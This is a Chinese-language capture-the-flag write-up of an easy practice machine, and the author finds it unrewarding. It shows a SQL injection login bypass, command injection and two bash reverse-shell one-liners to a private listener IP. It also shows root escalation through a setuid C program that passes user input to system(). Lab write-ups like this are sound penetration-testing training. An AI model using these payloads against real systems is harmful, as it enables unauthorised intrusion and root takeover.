前言
这是打靶训练的第五周,靶机难度简单,下载链接。打下来后,给我的感受是非常差的,基本没学到啥知识,而且打法极其的偏。
信息搜集
nmap扫到了22,8080端口。进行详细探测后得到
浏览器打开
让输入邀请码,这一看就想到sql注入。输入”后,出现报错信息
最后一行的sql信息引起了我的关注。select * from code where password="' + password + '"
构造payload为" or 1=1 --
,这样整个sql语句就是select * from code where password="" or 1=1 --"
命令执行
通过后来到
输入hello | id
,(这里能不能成功运行简直就是玄学,我重装了靶机2次,才再一次复现成功),成功命令执行
靶机开启监听4444端口,payload hello || echo 'bash -i >& /dev/tcp/192.168.127.137/4444 0>&1' | bash
提权
来到/home/scanner
可看到update_cloudav文件是root权限,而且还有update_cloudav.c源码,查看源码
#include <stdio.h>
int main(int argc, char *argv[])
{
char *freshclam = "/usr/bin/freshclam";
if (argc < 2)
{
printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n");
return 1;
}
char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
sprintf(command, "%s %s", freshclam, argv[1]);
setgid(0);
setuid(0);
system(command);
return 0;
}
又是我熟悉的c语言,看到setgid和setuid简单说就是,普通用户拥有可以执行“只有root权限才能执行”的特殊权限。后面的system是可以执行一个系统命令,输入./update_cloudav "help;whoami"
是root权限,那么在开启一个nc监听3333端口,之后靶机输入./update_cloudav "help;echo 'bash -i >& /dev/tcp/192.168.127.137/3333 0>&1' | bash"
打靶完毕,总结这套靶场啥也没学到,命令执行哪里等半天,有时候等10分钟都没结果,垃圾,再见!